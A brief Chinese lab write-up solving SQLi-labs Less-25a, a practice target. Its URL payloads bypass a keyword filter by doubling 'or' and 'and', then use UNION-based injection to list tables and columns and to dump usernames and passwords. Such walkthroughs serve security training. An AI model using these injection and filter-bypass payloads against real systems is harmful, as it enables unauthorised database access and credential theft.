Sqlilabs-25a

本关卡和 25 关的区别在于连单引号都省去了…

http://sqlilabs/Less-25a/?id=1 报错
http://sqlilabs/Less-25a/?id=1--+ 正常

http://sqlilabs/Less-25a/?id=1 ordery by 3--+ 报错
原因是 order 里面含有 or
双写绕过：oorrder

http://sqlilabs/Less-25a/?id=1 oorrder by 3--+ 正确

http://sqlilabs/Less-25a/?id=-1 union select 1,2,3--+

http://sqlilabs/Less-25a/?id=-1 union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),3--+
注意这里：information 含有 or ，需要绕过

http://sqlilabs/Less-25a/?id=-1 union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name='users'),3--+
注意这里：information 含有 or ，需要绕过，and 需要绕过

http://sqlilabs/Less-25a/?id=-1 union select 1,(select group_concat(username) from users),3--+
http://sqlilabs/Less-25a/?id=-1 union select 1,(select group_concat(password) from users),3--+

😄